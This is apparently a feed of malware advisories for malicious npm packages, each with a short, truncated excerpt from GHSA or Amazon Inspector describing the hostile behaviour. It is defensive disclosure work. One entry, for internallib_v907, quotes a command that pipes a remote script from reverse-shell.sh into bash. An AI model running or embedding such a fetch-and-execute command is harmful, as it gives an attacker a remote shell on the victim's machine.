Malicious code in riskunifiedgatewayserv (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 832cecce176cee15be4875642bd875636a40159560e29bd359746b2c80359e10 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-11099 Malicious code in demo-awesome-date-parser-test (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3dac7edbd7a941a69901501e2f602b37a483dde93aac9af9270f146fea0e7992 The package advertises itself as a date parser but the public API demoParseDate performs several unrelated hostile actions against the calling...

MAL-2026-11035 Malicious code in streak-bucket-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware de490c11cc710f708308f5078272e948fc7824c535576ab37001b9d874d35e22 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in encryptstringadmincore (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6fb9468e3d6f153d718527bb4350b6593d64b67cf16b5b81cdf56e4781d1b483 The package's main module core.js is heavily obfuscated obfuscator.io-style string-array with self-defending anti-debug and control-flow flattening a...

MAL-2026-10980 Malicious code in nolby (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5a8bc0fa5eb23a45d27933ce1d32b7fabed27182039e170dbcaa38c0462dfa20 The package advertises itself as a pure calendar/streak math library with no import-time side effects, but index.mjs invokes a top-level sync on modu...

MAL-2026-10940 Malicious code in chai-leaf (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 38312fd425c2921477fe6eecb5036500bcdbc1735dee43f3a84cfcbf2ba3002f Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-10831 Malicious code in @gocortexio/npmgremlinbox-linux-man-pages-copyleft (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware c3be191a3f3fb6afbef71a5e68c523245d8b473f713b55c7648bcbc29651979d Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-10814 Malicious code in @gocortexio/npmgremlinbox-copyleft-next-0-3-0 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware f08552c1e41d92205380508c0ea3e1b7085f6eba9ed9cadf3ed1610b0957412b Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-10823 Malicious code in @gocortexio/npmgremlinbox-fdk-aac (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 6207192112f56fc40eade4e0eaad3581eef98f723337ff802ec60e569ab6bba8 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-10801 Malicious code in @gocortexio/npmgremlinbox-cc-by-nc-sa-2-0-uk (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 0c31160d30fd76b0823b67a8f9a4161aea511b56c897ae8153edd2c0e621f979 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-10791 Malicious code in @gocortexio/npmgremlinbox-artistic-1-0 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware a54621aca82e78e4ee4adc57b3925274a0c7bf3b2d11d6d5af655c584de7fa45 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-10784 Malicious code in @gocortexio/npmgremlinbox-agpl-1-0-only (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware ff5752c8d3b702a72173a18e50e55cb28c1484a6c64745fe531d959a0c583fcd Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-10695 Malicious code in ai-p2p (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 51af066ded725d3f36b41a5c4bdf9977a7976293b11fef6c4c63ee894c1f5da2 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in vor8zakon (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 99924288481504c324c3f573ba7ba99ac4e1c7a7f22a940c94d81059b868fdfd Package advertises itself as 'A simple cryptographic library for JavaScript applications' but ships no crypto code and exports nothing. package.json...

MAL-2026-10691 Malicious code in internallib_v907 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40689180cd10e4352f018c9ffc96ddd110f12299bd83f195fe9879e28d1de59e index.js line 5 invokes exec'/bin/bash -c "curl https://reverse-shell.sh/... | sh"', piping a remote script directly into a shell. The fetched payloa...

MAL-2026-10645 Malicious code in @bcs-mi-ui/message (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware d6f4bc902c3be307322df1b9d7f35ffae7ac2e7b0cf6d0cd2799adbb90219471 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-10596 Malicious code in @ayunlove/bails (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware c8fc6c8b6ac94f8325f4aa6958480a40a9e8b912f7007f11e86a41ab13106894 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-10562 Malicious code in duration-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 41e28074a6cb11bc84c0da4f15b1b2f5c8546f7955638eb34320bfbd62612908 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-10513 Malicious code in nodemon-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d1d2f1b3c8848137e0ec6a9897d6f4056102623f1139549c9dd928fcb4482e69 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in @dervix/engine.io (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 118dd8f5224b1dcccddf25d74c6c9fe3543b444173ea293dafa28154e82689d5 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...